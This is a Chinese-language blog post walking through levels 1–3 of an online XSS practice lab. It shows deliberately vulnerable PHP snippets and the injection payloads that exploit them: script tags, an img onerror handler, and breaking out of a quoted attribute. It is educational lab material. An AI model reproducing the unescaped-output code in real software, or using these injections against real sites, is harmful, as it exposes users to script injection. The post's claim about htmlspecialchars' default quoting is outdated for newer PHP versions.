[XSS injection] – XSS注入 – CTF实战 – DayN – Level 1-3

[XSS injection] – XSS注入 – CTF实战 – DayN – Level 1-3

前言

本文不是CTF WP系列 所以文中提到的全部内容均为非CTF真题

文中使用的在线XSS靶场:传送门

感谢渊龙Sec团队提供靶场

正文

Level-1

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

GETname获取值并赋值给变量str未经任何过滤直接包含到<h2>标签中进行输出

Payload

<script>alert("XSS")</script>

这里打入任意XSS Payload都可以执行

fe07eee1f020250207003233

Level-2

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

GETkeyword获取值并赋值给变量str

此时str变量被包含在htmlspecialchars方法中输出

htmlspecialchars方法用于将预定义字符转义成HTML实体

通过黑盒的方式同样可以发现这里输入的字符被转义

d9b6f4554e20250207004318

 

这里我们没办法直接打入标签Payload执行JS

我们发现在input标签中同样包含str变量,并被包裹于value参数中

当我们输入">对内容进行闭合后,原本的标签value实际为空

后面我们填入一个新的标签则绕过了input value作用域的限制

原标签

<input name=keyword value="">

插入Payload

<input name=keyword value=""> <img src="@" onerror=aler(123)> ">

实际上浏览器的兼容性很强,最终多出来的">我们不需要管

Payload

"> <img src="@" onerror=alert(123)>

这里实际上是制造了一个错误的图片标签,然后使用事件触发器执行JS

Level-3

核心代码

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>	
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str)."</h3>";
?>

GETkeyword获取值并赋值给变量str

同样str变量被包含在htmlspecialchars方法中输出

value同样被实体化方法包裹

网上的WP大部分都是直接打入事件触发器Payload绕过实体化转义,但是没有解释为什么单引号没有被转义

实际上htmlspecialchars方法的第二位传参支持传入如下三种实参

  • ENT_COMPAT:会转义双引号 ",但不会转义单引号 '
  • ENT_QUOTES:会同时转义单引号 ' 和双引号 "
  • ENT_NOQUOTES:都不转义

如果仅传入一个参数,则为默认状态

默认状态为ENT_COMPAT模式

所以这里不会过滤单引号

Payload

' onclick='alert(123)

点击input标签元素

9675c1ff3420250207011120

未完待续…

笔者撰写到这已经很晚了 后续内容马上更新

© 版权声明
THE END
喜欢就支持一下吧
评论 抢沙发

请登录后发表评论

    暂无评论内容